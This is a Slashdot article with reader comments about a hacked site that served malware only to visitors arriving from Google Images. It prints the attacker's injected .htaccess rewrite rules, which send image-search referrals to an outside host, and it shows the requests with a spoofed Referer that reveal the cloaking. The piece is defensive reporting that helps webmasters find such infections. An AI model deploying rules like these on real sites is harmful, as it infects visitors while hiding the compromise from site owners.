Slashdot Log In
Image Searchers Snared By Malware
from the caught-in-the-net dept.
A friend of mine recently e-mailed a discussion list with an interesting query. Stonewall Ballard had searched on "tradingbloxlogo" on Google Images, which led to the results on this page. Clicking on the first result, an image from the tradingblox.com site, took him to this page, with the Google information header at the top, and loading the http://www.tradingblox.com/tradingblox/courses.htm page in a frame in the bottom half of the browser window. When that page was loaded in that bottom frame, Internet Explorer and Firefox would both flash warnings about the page being infected with malware. But if you loaded the http://www.tradingblox.com/tradingblox/courses.htm page in a normal Web browser window by itself, the browser would not display any warning, and checking the site using Google's malware query form returned a result saying the site was not suspicious. Why the differing results?
It turned out that the tradingblox.com had been hacked, and pages had been installed onto the server that would serve malware in an unusual way: If the page was being viewed in a frame loaded from Google Images, or as as result of a click through from Google Images, then the page would serve content that attempted to infect the user's computer with malware. On the other hand, if the page was viewed normally (as a result of typing the page into your browser), the malware-loading code would not be served. That means if you were to telnet to port 80 on the www.tradingblox.com server, and request a page as follows:
GET /tradingblox/courses.htm HTTP/1.1
Host: www.tradingblox.com
then the normal page would be returned. But if you entered these commands:
GET /tradingblox/courses.htm HTTP/1.1
Host: www.tradingblox.com
Referer: http://images.google.com/
then you would get the malware-infected page. (The webmaster has since fixed the problem, so that the latter request will no longer get the malware code.) The webserver would only serve the infected content if "images.google.com" was sent specifically as the referrer; "www.google.com" by itself would not trigger the result.
(For the uninitiated, when you click a link from one page to another, for example if you were reading an article on CNN.com which had a link to http://www.google.com/support/ and you clicked on that link, then when your browser requested the file "/support/" from the www.google.com server, it would send the request as follows:
GET /support/ HTTP/1.1
Host: www.google.com
Referer: http://www.cnn.com/article.url.goes.here/
So the webmasters of www.google.com can see what links people are clicking from other websites to reach the www.google.com site. Many sites use this to track which links from other pages, including advertisements that they've bought on other sites, are sending them the most traffic.)
Denis Sinegubko, owner of the website malware-infection checking site UnmaskParasites.com, says that he had seen pages before which would serve infected content if www.google.com itself were listed in the Referer: field. However, this was the first instance he'd seen where the content was only served if images.google.com was specifically listed as the Referer. Since no malware distributor would manually break into just one website to compromise it in this exact manner, it's extremely likely that there are many more sites that are infected in the same way. Stonewall Ballard noted that the Google Safe Browsing lookup for the hosting company where tradingblox.com is hosted, showed a high number of other sites on the same network that had been infected recently. (And those are only the infected sites that Google knows about -- recall that Google didn't even know that tradingblox.com was infected.)
Obviously, from the malware author's point of view, the point of serving malware content only some of the time rather than all of the time, is to make it harder for webmasters to pinpoint the problem. Someone gets the malware warning after following a link or loading a page via Google Images, and sends the webmaster an e-mail saying, "I got infected by your webpage, here is the link." The webmaster views the link and says, "I don't know what you're talking about, there's no malware code on that page." It also makes it harder for automated site-checking tools to detect the infection. Google's Safe Browsing lookup tool reported the site as uninfected, and Sinegubko's site-checking tool on UnmaskParasites.com also reported no malware infections on tradingblox.com, even while the site was still infected. (Sinegubko said he would possibly modify his site-checking script so that in addition to the other checks it performs, it will attempt to request a page sending "http://images.google.com/" in the "Referer:" field, to see if that results in different content being served. Google's Safe Browsing spider should do the same.)
Sinegubko said he's also seen instances where hacked sites would cover their tracks even further, by refusing to display infected content if the Referer: link from Google contained "inurl:domainname.com" or "site:domainname.com". This is because webmasters would sometimes check if their site was serving infected content in response to a click from Google, by doing a Google search on their own domainname.com, and following the link back to their site. By not serving the infected content in that case, the malware infection becomes even harder to detect.
This also makes it harder to report the exploits to the hosting companies that host infected websites. In case the webmaster of the infected site doesn't respond to complaints that their site is infected, sometimes you have to contact the hosting company and ask them to forcibly take the website offline until the problem is fixed. And I have been hosted by several companies where the tech support and abuse departments were (just barely) competent enough that if I called them up and said, "Your customer is hosting a malware-infected webpage, go to this page and view the source code, and you can see the malicious code", they would have known what to do. But if I'd had to tell them to follow the steps above -- "telnet to port 80" on the infected website, and type a few lines to mimic the process of a browser sending HTTP request headers to the website -- I probably would have lost them at "telnet". (Recall an experiment wherein I e-mailed some hosting companies from a Hotmail account, asking them to change the nameservers for a domain that I had hosted with them, and about half of the hosting companies agreed to switch the domain nameservers -- essentially, transferring the entire website to an unknown third party -- without ever authenticating that it was really me writing from that Hotmail account. Which means anybody could have taken over those websites simply by sending an e-mail. Front-end tech support at cheap hosting companies is often not very smart.)
Fortunately, Tim Arnold, the webmaster of the tradingblox.com site, did respond to the original report about the malware-infected pages, and found that an intruder had hacked the site on November 30th and inserted these lines into an .htaccess file:
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*images.google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*images.search.yahoo.*$ [NC]
RewriteRule .* http://search-box.in/in.cgi?4¶meter=u [R,L]
<Files 403.shtml>
order allow,deny
allow from all
</Files>
which resulted in the infected pages being served whenever a user loaded the site via Google Images. (So if you found this article because you think your own site might be infected by malware that serves pages conditionally on the Referer: field, that's the first place to look to fix the problem!)
It's uncertain how Arnold's site got infected in the first place, but Sinegubko had earlier said that almost 90% of breakins in 2009 that occurred on Linux-hosted sites, were caused by malware installed surreptitiously on people's Windows PCs and stealing the passwords that people used to administer their sites. Or the site could have been compromised via a WordPress exploit such as this one. As I always tell anyone who will listen, if you want to keep your Linux-hosted website from being broken into, one of the most frequently overlooked precautions that you need to take is to keep your Windows PC free of spyware.
But the larger point is that as malware becomes more aggressive, it's not just going to become harder to keep your PC and websites uninfected. It's also going to become harder for site owners and for hosting company abuse departments to verify that a site has been hacked, as the hacks use more sophisticated techniques to prevent the infection from being discovered. Abuse report handlers will have to be trained to understand what it means that a website is only showing infected content as a result of a "Referer:" header, and ideally should know enough about networking and command-line tools, to be able to mimic the "telnet" instructions above. (Most expensive dedicated hosting companies like RackSpace, do have technical staff who are at least that knowledgeable. But cheap shared hosting companies -- the kind where you can get your domain transferred to another company by sending an e-mail from an unauthenticated Hotmail account -- will have to train their abuse staff better.) Automated site-checking tools like Google's Safe Browsing spider and UnmaskParasites.com's site checker will have to start taking these attacks into account when checking a site for infection.
And as always, keeping your PC free of spyware, shouldn't be viewed just as a convenience to yourself, but as an obligation to your neighbors as well. (A case of the positive/negative externalities problem in economics.) You wouldn't send your kid to school with the flu, so why did you get your Mom on the Internet without buying her some anti-virus software?
Should Be Shot (Score:3, Insightful)
Malware and Virus authors should be lined up against a wall and shot. They are cancers and need to be irradiated.
Re: (Score:2)
I mean eradicated...although irradiated would probably work well too.
Re: (Score:3, Insightful)
What we -should- do is focus on things that we can actually benefit from. Instead of mass-murder, why not fix the internet by fixing javascript (ie. dis, fucking, allow, whitelist basis only), fixing flash (bye), fixing CSS (stop reading my history and stop scanning my ports!) and fixing HTML so we don't need to rely on stupid things (flash, silverlight, the thing Google made) to make browsing an enjoyable experience.
I can deliver you a browser that is virtually unexploitable. Firefox running with NoScript,
Re: (Score:3)
The reason this will never happen (and it should) is because we have art students, not engineers, designing our websites, and thus calling the shots.
Some parts of computing should just not be done by non-technical users, designing secure systems is one of them.
Re: (Score:3, Interesting)
Okay, only a Professional Software Engineer can design webpages or write code. In BC, that's an actual discipline for Engineers. (I'm Electrical myself; one of my friends has her P.Eng in Software, and my alma mater was one of the first to offer it.)
See how that works?
The real problem is really your attitude, not the fact that "artsy-fartsies" are writing webpages in Dreamweaver. We can talk about the relative merits and security of Windows / OS ? / Lunix all day (which, really, is what /. is all about) but
Re: (Score:3, Insightful)
I'm not saying that nontechnical users create security flaws, I'm saying that they demand features that cause security flaws, and the engineers that know better are not in positions to deny them the features. If a high payed media PHB demands that the website for [NEW HIT MOVIE] be made entirely with flash, a lowly engineer pointing out that flash is insecure is not going to get anywhere.
Re: (Score:2)
So - I'm sitting here, reading about this newest manifestation of exploitable exploits, and wondering: "how does all this affect Debian?"
Then you offer up some solutions that would actually start to FIX THE PROBLEMS.
No script - check.
Adblock plus - check.
Turn off Flash - check.
Ditch silverlight/moonlight - check.
Disable Java - check.
What's left? Oh yeah - don't click on obvious bogus links, and don't agree to download a virus scanner. Like, I really need on on Debian.
What does that leave? Hmmmm. A damn
Re: (Score:2, Informative)
Covered in the Q&A on NoScript's page: http://noscript.net/faq#qa2_6 [noscript.net].
The answer Maone gives is detailed, and contains a few "fixes" for your on-your-tit-getting.
Re: (Score:3, Informative)
I'll just throw a couple of links at you and then you can go be scared.
http://ha.ckers.org/weird/javascriptless-port-scanning.cgi [ckers.org], http://ha.ckers.org/weird/CSS-history.cgi [ckers.org].
Well, I just visited both of your links, and am unimpressed and unscared.
The CSS history one gave a very short list of what looked like guessed web sites which were mostly wrong (hint: I never visit msn or ebay or myspace, and it's months since I visited yahoo). It looked like blind guesswork, as the list had google, but not slashdot, for instance. Clicking through to see what information they claim to have logged, I encountered an empty list, not even the bogus guesses of wrong web sites that were on th
Re: (Score:3, Informative)
That list is the sites being tested, if it can detect any of them in your history, it shows red text in a box next to that item. The exploit can only check a specific list of items. The problem is a UI/implementation one, not a problem with the concept.
Re:lol (Score:4, Funny)
screwed up...what can I say?
Parent
Re: (Score:2, Informative)
FWIW, I prefer "irradiated". That would kill them AND the cooties they carry.
Re: (Score:2)
I also say execution for jaywalking, littering, and spitting in public.
Re: (Score:2)
Are you sure it's an over reaction?
Re: (Score:2)
Only if the malware directly caused loss of life, or raped some kids or something, would I even consider such a punishment fair.
No, messing up your PC, making your admin job harder, or even stealing your identity and buying a mansion in your name should not be a capital crime.
orly? (Score:5, Insightful)
While I use Windows on the desktop to manage my linux servers like most admins, I find it hard to believe that 90% of all break-ins were caused by an administrator's Windows box getting owned first, to capture their password/login info. That means only 10% of the boxes were directly attacked and owned, yet my logs show overwhelming amount of tries to do just that. This would mean that 90% of the pwned Linux servers are really the fault of Microsoft Windows, and just smacks of bogus accounting.
Re: (Score:3, Interesting)
As a slashdot reader who doesn't know much about linux, it often sounds like linux is this magical program that can't do wrong, so clarification for the under-informed would be helpful.
Re: (Score:2)
Re: (Score:2)
It is like the difference between a job that earns $6 per hour doing ditch digging or a job that earns $300 per half hour just to tell someone they are crazy.
Our half hour is up. The secretary will handle your bill.
Re: (Score:2)
Why would you use a Windows desktop to manage Linux servers? I think that is totally ineffective.
But hé, it's your setup and I won't be bothered with it.
Re: (Score:2)
You can manage it all you want with putty and still connect to your companies exchange server with outlook.
I'm not a professional admin...but in school I did a bit of admin work on some linux/BSD servers. Most of the work I did was probably sshed in from a windows box either at home or in our little office (before I installed linux on a machine there); I only admined from linux if I was fixing something from class with my linux laptop or if I was standing at a [*
Re: (Score:3, Informative)
Incredibly common bordering on likely the outright majority.
For one, its likely that most companies will have some kind of Windows infrastructure and/or Windows application requirements and thus will hand out Windows based laptops/desktops. Admins with a OSS religious affiliation may end up overwriting these systems with Linux or building their own in parallel, but controls/obstacles/requirements/misc bureaucratic bullshit may stop all but the most senior from being able to do this or make it too much of
Ya rly. (Score:2)
This would mean that 90% of the pwned Linux servers are really the fault of Microsoft Windows
You mean to say that such servers' pwned state is the result of improper security practices on the result of a Windows user. [/pedant]
In all likelihood, I don't see why this wouldn't be the case. Unless these sites are running some type of publicly available CMS product, like Wordpress or Joomla, chances are good that these sites are uploaded via FTP. There was a feature on Slashdot, it may have been Mr. Hassleton's writing, too, saying that certain types of trojans will scan your incoming and outgoing
Why not buy mom antivirus? (Score:2, Insightful)
The free antivirus packages are fine, there is no need to pay for one.
Re: (Score:3, Interesting)
Agreed. I used AVG for years, and when it became too bloated I moved to Avast. Haven't had a virus on my windows box in close to five years.
Re: (Score:2)
Firefox with Adblock Plus, Noscript, and Flashblock. That's it!
I noticed some sluggish performance recently and suspected malware or a virus. I installed MalwareBytes' Anti-Malware, Clamwin, and Spybot S&D, ran them, and all indicated my system was clean.
The problem turned out to be a badly fragmented hard drive (haven't defragged since 2001 or 2002!)
This hurts.... (Score:4, Funny)
Re: (Score:3, Insightful)
Man, this is how I view my porn, and I use that method just to be safe! What now :(
A live disc?
Re:This hurts.... (Score:5, Informative)
Just yesterday, when searching for "LEGO Mohammad", NoScript noted a clickjacking attempt when I tried to right-click an image while in the Google Images frame, but not when I unframed it, so yeah, NoScript seems to catch it.
Parent
Spellings Nazis - Please read (Score:4, Informative)
Microsoft should complain (Score:3, Interesting)
RewriteCond %{HTTP_REFERER} .*images.google.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*images.search.yahoo.*$ [NC]
I don't see Bing on there.
Re:Microsoft should complain (Score:4, Funny)
Parent
Windoze an issue again? (Score:2, Insightful)
Okay, insert obligatory "One more reason not to use Windows" comment here, after all, this is Slashdork.
Yup, Linux and OSX can get infected as well, but it's harder to do so. Especially if you approach it from the point of view that it can happen to you. If you just have to use a Windoze tool, do it via a VM of some sort, pick your fave brand of VM to do so. Some tools (native VMware VI management tools) are only available for Windoze, so I use a VM to run those tools. Other than that,
Re: (Score:2)
Note that using a Linux VM on a Windows host is *not* the fix. Using a Windows VM on Linux is *not* a fix either. Your passwords can be gathered in either case*.
as WOPR said: "The only way to win is not it play [with windows.]"
* I am realizing there is a way to semi-secure things. If you use a proxy to provide passwords to sites, you never have to type a password in. The accounts could be gathered according to a database, and once you got prompted for a password, the proxy could present an on-screen keyboar
Re: (Score:2)
This could also be done as a FireFox extension.
Another one (Score:5, Interesting)
Swimming against the current (Score:3, Interesting)
Re:Swimming against the current (Score:4, Insightful)
Shouldn't we be happy about this? I mean, they aren't even TRYING to attack a regular surfer, but only one who comes through google images.
Yeah, because everyone knows Google Images users are Slightly Irregular.
That means they are trying a pretty limiting technique which I presume is because that all other methods will not yield as good results.
Or it's a proof-of-concept implementation being tested for more insidious deployment, say attacking only those who are coming from a (your!) bank's domain, or a government site, or a link from Google Mail embedded in an e-mail's image fetch to confirm your identity as a Chinese dissident.
Parent
And this is why I'm buying a Mac (Score:5, Insightful)
I've got an old Mac at work I use for various tasks, but I use Windows at home. And it's loaded up with all of the standard defenses... firewalls, anti virus, malwarebytes, spybot s&d, you name it. And yet Windows boxes are still getting owned. And its not even necessarily "bad" websites that are spreading this stuff... porn, torrent sites, etc. There are a lot of websites out there that have no idea that they've been owned, and that they're spreading this filth to Windows machines. The latest trojans with "Internet Security 2010" infect Windows boxes so badly that it often takes longer to completely clean them than it does to just throw up your hands and decide to nuke and pave.
I know Macs will eventually be a bigger target when they get more of the market, but after one of my family machines became infected... again, despite having all of the necessary security software... I decided it was time to spring for a Mac Mini at home. Better that the wife and kids learn a different OS than Daddy pulling all of his hair out because of yet another damn trojan... despite best efforts to the contrary.
Re:And this is why I'm buying a Mac (Score:4, Interesting)
Macs aren't perfect, but you spend a LOT less time trying to make & keep your system secure.
Parent
Re: (Score:2)
Funny, I've only had one virus/spy-ware/mal-ware in my entire time using Windows, right from 3.11 to current. And that was my roommate getting his Windows ME machine pwnd and letting it sit on the network. I defrag my machine overnight once a month or so. I ran without an active AV scanner for over a year. As it is, just out of habit, I'll run Spy-bot once every few weeks, and I threw Avast on there, and run it too. Always overnight. Total time wasted? About 5 minutes setting them up.
Now, on my Mac machine
Re: (Score:2)
We got hit by this (Score:5, Informative)
We get so many 404s because of probes from random script kiddies that I tend to ignore that part of the daily log scan -- big mistake. (I have my own link checker so I know that all of the real URLs are correct and functioning.) It wasn't until the site owner said that we seemed to have dropped off the search results at Google that we knew something was wrong. I couldn't figure out why and spent quite a bit of time banging my head against random walls.
Although I had looked at the logs I was mostly looking for 500 errors. I finally started to focus on the 404s and little bells started going off when I saw a whole bunch of them for msnbot. And then I saw a whole bunch for googlebot. And then I noticed that they were all under our /media path. I immediately started checking all of the URLs that had 404ed and they all worked fine.
Google was also reporting that they were getting a 404 on our sitemap.xml. Shit! I tested it with their 'Test you URL' page and it worked, so I resubmitted it and ... it 404ed! WTF? (I'm still not sure why this got snarled with sitemap.xml, but it was involved.)
I went and took a long, hot shower -- this is my place of refuge and deep thinking. The question was: what could cause all of these errors for the spider-bots, but not produce them for me or any normal human? I looked like a prune by the time it hit me: they weren't seeing the same pages/files I was. How could that happen? If this was a networking problem it would already be smelling like a firewall issue of some sort -- the unseen middleman.
I should mention here that this is a Django site, which means I'm pretty much all over the URLs coming in ... except for /media, which are handled directly by Apache as static files. Apache ... hmmm ... !
Apache's .htaccess file is probably the single most powerful file on your website, and you don't even see it when you do an 'ls'. I popped into the editor and I almost crapped my pants:
Those address ranges, btw, are all for googlebot and msnbot, so this only fires if you are coming from one of those net blocks. The special google URL checker wasn't coming from one of those addresses which is why it worked.
The scary thing is that this code is correct except for one little detail. The bots were getting 404s because the Black Hats got the path wrong. This isn't a normal PHP site and the topmost directory contains all of the Django stuff in one branch and all of the media in a different branch. Apache sees that topmost directory and it's where the .htaccess file lives, but the master .conf file has a specific <Location> rule that maps directly to /media, not /pop/media. If they had not made that error I don't know how long it would have taken to uncover this.
We still don't know how they got in. We changed all of the passwords and double-checked that we were up to date on all of the server code. There also are multiple levels of tripwires in place now so I'll know about any changes within minutes of it happening. And now we wait . . . .
Re:We got hit by this (Score:5, Informative)
Parent
Re: (Score:3, Informative)
If your site is on a shared server, it may be the case that another user of the server got hacked (or is malicious in the first place) and was able to access your files. In this case, it's a very good idea to notify your host that your files have been messed with.
Something you may consider: make a backup of a known-good .htaccess, and set up a cronjob to `diff --brief` the two frequently and email you if they're not the same. I've done this with a list of all the PHP files in my account on a shared server:
7
Nice detective work! (Score:2)
The only way to win is to not play (Score:3, Insightful)
The very idea of "verifying that a site is not hacked" is ultimately just as flawed as running a virus scanner to verify that you don't have a virus installed. Once a system is compromised, you can't trust it to help you find the problem. Checking to see if it happens to be serving malware right now, isn't reliable since the malware gets to decide whether or not to act suspiciously, and making decisions based on referer and user-agent is really just the tip of the iceberg compared to what is possible. What if it randomly decides to serve malware on 0.01% of the requests? You'll never be able to diagnose it that way, and in the unlikely event that you do happen to see something suspicious, you're going to start questioning yourself when it turns out to not be repeatable.
Don't install the malware in the first place. I won't say that defending in depth beyond that point is totally useless, but it's pretty close to useless. Once you're infected: game over, you lost.
Change result to giant image (Score:3, Insightful)
I never understood why Google wants to load the site as a frame, which is unimaginably distracting and often the image is difficult to find. Rather, if they took a screenshot into the cache and moved the cursor automatically to the image, then it'd be more convenient, more reliable and safer.
Re: (Score:2)
I don't think we have enough information to "know" that linux is "much more secure" than mac. Both have a handful of known exploits (vs a overflowing truck load of exploits available for windows). Neither one is proof against infection.
Re: (Score:2)